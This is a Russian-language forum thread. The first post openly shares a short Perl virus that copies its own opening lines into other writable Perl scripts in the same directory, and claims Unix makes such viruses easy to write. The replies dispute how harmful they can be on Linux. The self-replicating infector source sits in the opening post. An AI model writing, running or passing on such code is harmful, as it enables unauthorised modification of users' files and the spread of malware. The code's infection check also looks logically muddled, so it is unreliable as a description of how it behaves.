Сообщение от Randomize
#!/usr/bin/perl #PerlDemo
open(File,$0); @Virus=<File>; @Virus=@Virus[0...6]; close(File);
foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName"); @Temp=<File>; close(File); if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))
{ if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus;
print File @Temp; close (File); } } } }
Держи! Это простейший. Обилие скриптов bash, perl, php и тд делают юникс настоящим раем для вирусов. Причём такие вирусы может написать даже школьник. А ежели из под рута сидишь дак в обще разгуляево. |
И как энто запустить? У меня пёрла на машине никогда не было. Только питон.
И из под рута в линуксе???
Дык, там парой sudo не работает, а уж войти в систему под рутом - это надо долго извращаться руками!
На баше вообще не написать вирус.
Поскольку оный запускается всегда из сессии юзера... А "ПеХеПе" тут вообще не причем! Это же не веб-сервер
И твой пример можно только запустить руками, да и с правами рута, что в принципе, не возможно обычному юзеру.
Да и вреда от таких "вирусов" - ноль. Машину они заражают только из под сессии юзера. Стоит сессию остановить (даже не перезагружая машину), и всё